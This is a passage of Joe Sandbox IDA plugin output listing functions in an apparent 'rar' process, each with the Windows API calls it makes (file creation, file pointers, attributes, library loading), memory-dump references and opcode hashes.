OemToCharA.USER32 ref: 00007FF71D2D4255
ExpandEnvironmentStringsW.KERNEL32(?,?,00000000,?,?,?,?,?,00007FF71D2B6CD9), ref: 00007FF71D2D447C

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: CharEnvironmentExpandStrings
String ID:
API String ID: 4052775200-0
Opcode ID: d3cf55b71ff3c281346cb4b18b9965101663fbf2bf251821757e6ab4d6f75e53
Instruction ID: cdc05dd6ccd5194feae4d129bc8eb2236aca15985201aec31d0a8d31a1655302
Opcode Fuzzy Hash: d3cf55b71ff3c281346cb4b18b9965101663fbf2bf251821757e6ab4d6f75e53
Instruction Fuzzy Hash: 96E1D723A1CE8285EB60AB64D4201FDE760FB917A4F944131DBAD076D9EF7CD58ACB10

Function 00007FF71D2D1AF0 Relevance: 3.1, APIs: 2, Instructions: 85fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000800,?,00000000,00007FF71D2C7EBE,00000000,00000000,00000000,00000000,00000007,00007FF71D2C7C48), ref: 00007FF71D2D1B8D
CreateFileW.KERNEL32(?,?,00000800,?,00000000,00007FF71D2C7EBE,00000000,00000000,00000000,00000000,00000007,00007FF71D2C7C48), ref: 00007FF71D2D1BD7

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4219d35e49beb692727e1c809157a61a389fcef5d2ea993dee933b1b68bc62b7
Instruction ID: dc0346ffafd81fa4719532f864378fd6690a9259c5d1d1d5afcd6a4f74a4a9eb
Opcode Fuzzy Hash: 4219d35e49beb692727e1c809157a61a389fcef5d2ea993dee933b1b68bc62b7
Instruction Fuzzy Hash: B5312873A1CE8586F730AF10E4153A9A6A0EB50B78F904334D9BC06AC5FF7CC4898B60

Function 00007FF71D2B681C Relevance: 3.1, APIs: 2, Instructions: 75COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF71D2B68AE
_CxxThrowException.LIBVCRUNTIME ref: 00007FF71D2B68BF

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: ExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 932687459-0
Opcode ID: e0b6576285a1405d5c99e18f7cacf33152f7ca5f18a954e7e6124ed6b2dff56f
Instruction ID: ae8ce0ac1e0e10a1f85aa80333a326fa99f516a6a4626347ca0446deafd563ab
Opcode Fuzzy Hash: e0b6576285a1405d5c99e18f7cacf33152f7ca5f18a954e7e6124ed6b2dff56f
Instruction Fuzzy Hash: 7321C46390CF8582EB119F29D1410B8A360FB9CB98B58A321DF5D03616EF28E1E9C700

Function 00007FF71D2E915C Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF71D2E91CA
new.LIBCMT ref: 00007FF71D2E91F2

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16b2a8006f7396a77cc468de0c3eb669dd52c88d84059797fb67b2da720282ec
Instruction ID: 781d33b07046c623d6af709c54cebed70190585261899052d24a27cdd5f9dbfc
Opcode Fuzzy Hash: 16b2a8006f7396a77cc468de0c3eb669dd52c88d84059797fb67b2da720282ec
Instruction Fuzzy Hash: 5D11D33260DF8281EA10FB54A5003A9F2A4EF897A0F944239D6AD477E6EE7CD415CB20

Function 00007FF71D2D20B4 Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,00007FF71D2D22EE), ref: 00007FF71D2D211B
GetLastError.KERNEL32(?,?,?,00007FF71D2D22EE), ref: 00007FF71D2D2126

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 5815bd41f5973e06c2119053be911941aef37d92954e301d013d2bb4fe8795dc
Instruction ID: 71499ecba9a28754750e4fb3bd2bf7281b7a224bcf8736d1f4e3db4dcd29ff9d
Opcode Fuzzy Hash: 5815bd41f5973e06c2119053be911941aef37d92954e301d013d2bb4fe8795dc
Instruction Fuzzy Hash: F8010A32E1CE5181EA645B25A550128E251AF95BB0FA49230DA7D03BD5EF3CD4498F10

Function 00007FF71D2C7A68 Relevance: 3.0, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

setbuf.LIBCMT ref: 00007FF71D2C7A7B

Part of subcall function 00007FF71D312AE4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF71D317EF3

setbuf.LIBCMT ref: 00007FF71D2C7A8F

Part of subcall function 00007FF71D2C7B44: GetStdHandle.KERNEL32(?,?,?,00007FF71D2C7A9E), ref: 00007FF71D2C7B4A
Part of subcall function 00007FF71D2C7B44: GetFileType.KERNELBASE(?,?,?,00007FF71D2C7A9E), ref: 00007FF71D2C7B56
Part of subcall function 00007FF71D2C7B44: GetConsoleMode.KERNEL32(?,?,?,00007FF71D2C7A9E), ref: 00007FF71D2C7B69

Part of subcall function 00007FF71D312ABC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF71D312AD0

Part of subcall function 00007FF71D312B40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF71D312C1C

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo$setbuf$ConsoleFileHandleModeType
String ID:
API String ID: 4044681568-0
Opcode ID: 4e01616fa307debef67f3bdae5e4254b32b96fa30cb3d95000aeda74735f0c5a
Instruction ID: 137877a5795529a2fd1fccc32ebfbe5efc537751224e6e7bba554758f0780a42
Opcode Fuzzy Hash: 4e01616fa307debef67f3bdae5e4254b32b96fa30cb3d95000aeda74735f0c5a
Instruction Fuzzy Hash: 8301D764E2D9839AFA58B37558A27B9D4428F91330FC0817CE52E0B2D3FD5C680E8B71

Function 00007FF71D2D2440 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE ref: 00007FF71D2D2480
GetLastError.KERNEL32 ref: 00007FF71D2D248D

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 3cdbc9fc115b3786672d0ab875eb06079944196e3b63107a1cba7715dce50020
Instruction ID: 28ca80d1b1498a0f7e65d92a11dd077a11c7893a6b6f63416dadb7c5d6dcc00c
Opcode Fuzzy Hash: 3cdbc9fc115b3786672d0ab875eb06079944196e3b63107a1cba7715dce50020
Instruction Fuzzy Hash: 4201A132A1CE4281EB64AB29E484279E360EF41B78F944335D63D021E5EF3CD58ECB20

Function 00007FF71D2D30C8 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000800,00007FF71D2D305D,?,?,?,?,?,?,?,?,00007FF71D2E4126,?,?,?,?,00000800), ref: 00007FF71D2D30F0
GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,00007FF71D2E4126,?,?,?,?,00000800,00000000,00000000), ref: 00007FF71D2D3119

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2e2186a7cb8ede8c780016636985b78a342ec6e28c4d5099e5617c1395310ad3
Instruction ID: 595b6adc11eab3627ef7e0286a7f4a58dafa00f051e56174a2552f4e0ccb20bf
Opcode Fuzzy Hash: 2e2186a7cb8ede8c780016636985b78a342ec6e28c4d5099e5617c1395310ad3
Instruction Fuzzy Hash: C8F0A431B1CEC181EA60AB24F4553A9E350BB4D7E4F800134E9DC83799EE6CD58D8E10

Function 00007FF71D2FB3F0 Relevance: 3.0, APIs: 2, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32 ref: 00007FF71D2FB41E
LoadLibraryW.KERNELBASE ref: 00007FF71D2FB449

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 690506ff7ad01b68561af502f5f6bdd4c4444b6941644f14759842c93308c1c9
Instruction ID: e192755a12dcab6d8b7c8429ab1bd1fddcb2526c7bd8845b32e7406519c42616
Opcode Fuzzy Hash: 690506ff7ad01b68561af502f5f6bdd4c4444b6941644f14759842c93308c1c9
Instruction Fuzzy Hash: 16F0FF35B1C98186F660AB20E8153E6E264BB9C794FC04535E9DD82699FE2CD649CE20

Function 00007FF71D2FBA70 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,00007FF71D2FBACD), ref: 00007FF71D2FBA74
GetProcessAffinityMask.KERNEL32 ref: 00007FF71D2FBA87

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: b5cb634e91c6557fc3f51b2270fa7b26469bd4cc2c85bb60b503b74b5f948de9
Instruction ID: 33e7a2d93e5e88d0337ecf8cf5ef428326f3422630c7a06b1031c47f93d547fc
Opcode Fuzzy Hash: b5cb634e91c6557fc3f51b2270fa7b26469bd4cc2c85bb60b503b74b5f948de9
Instruction Fuzzy Hash: 4DE06561B3895186DBD867199496FA99391AB54B80FC06039E41A83A54FD1DD54C8F10

Function 00007FF71D314A74 Relevance: 3.0, APIs: 2, Instructions: 19threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlRestoreThreadPreferredUILanguages.NTDLL ref: 00007FF71D314A8A
GetLastError.KERNEL32 ref: 00007FF71D314A9C

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: ErrorLanguagesLastPreferredRestoreThread
String ID:
API String ID: 588628887-0
Opcode ID: eba7cb3a1b25fa9ccf71865f2d4f1c33426d57f6117c222b9e149abc10e1791e
Instruction ID: 89772c389bb72925261eb32b614fbe3a1521528a8d79493da69b754f07a476f9
Opcode Fuzzy Hash: eba7cb3a1b25fa9ccf71865f2d4f1c33426d57f6117c222b9e149abc10e1791e
Instruction Fuzzy Hash: 37E046B1E1D943C2FE59BBB2A804174D3916F48B60F98843CD90D46252FE2CA44D8A64

Function 00007FF71D2F71FC Relevance: 1.9, APIs: 1, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3432b9c8060d01ce72343edc576a4dccd09043a68da9ff68992643fd273dc9a
Instruction ID: 58499bc3d984ee7d0227a2e5cc4105cf2c10bbb284de6cf9a785e36c01d41aea
Opcode Fuzzy Hash: c3432b9c8060d01ce72343edc576a4dccd09043a68da9ff68992643fd273dc9a
Instruction Fuzzy Hash: 80E1E621A0CE8281FF20AA2494542FAE751EF41BA8F940535DD6D8B7D6FE2CA449CF30

Function 00007FF71D2B72C4 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF71D2E915C: new.LIBCMT ref: 00007FF71D2E91CA
Part of subcall function 00007FF71D2E915C: new.LIBCMT ref: 00007FF71D2E91F2

new.LIBCMT ref: 00007FF71D2B73DE

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88ca505e5f63b4630595d2a5785bb34e5d1a854cc4efaa54bf81e7772238fa42
Instruction ID: 6ef4a0fd241b06ff6af43b313335c0171d05775806a043d7fda7faeff622152c
Opcode Fuzzy Hash: 88ca505e5f63b4630595d2a5785bb34e5d1a854cc4efaa54bf81e7772238fa42
Instruction Fuzzy Hash: 4E514773528BD194E700AF24A8441ED77A8FB44F98F5C423ADA880B79AEF389155C731

Function 00007FF71D31231C Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF71D312344

Part of subcall function 00007FF71D3124D4: GetModuleHandleExW.KERNEL32 ref: 00007FF71D3124F4
Part of subcall function 00007FF71D3124D4: GetProcAddress.KERNEL32 ref: 00007FF71D31250A
Part of subcall function 00007FF71D3124D4: FreeLibrary.KERNEL32 ref: 00007FF71D31252F

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
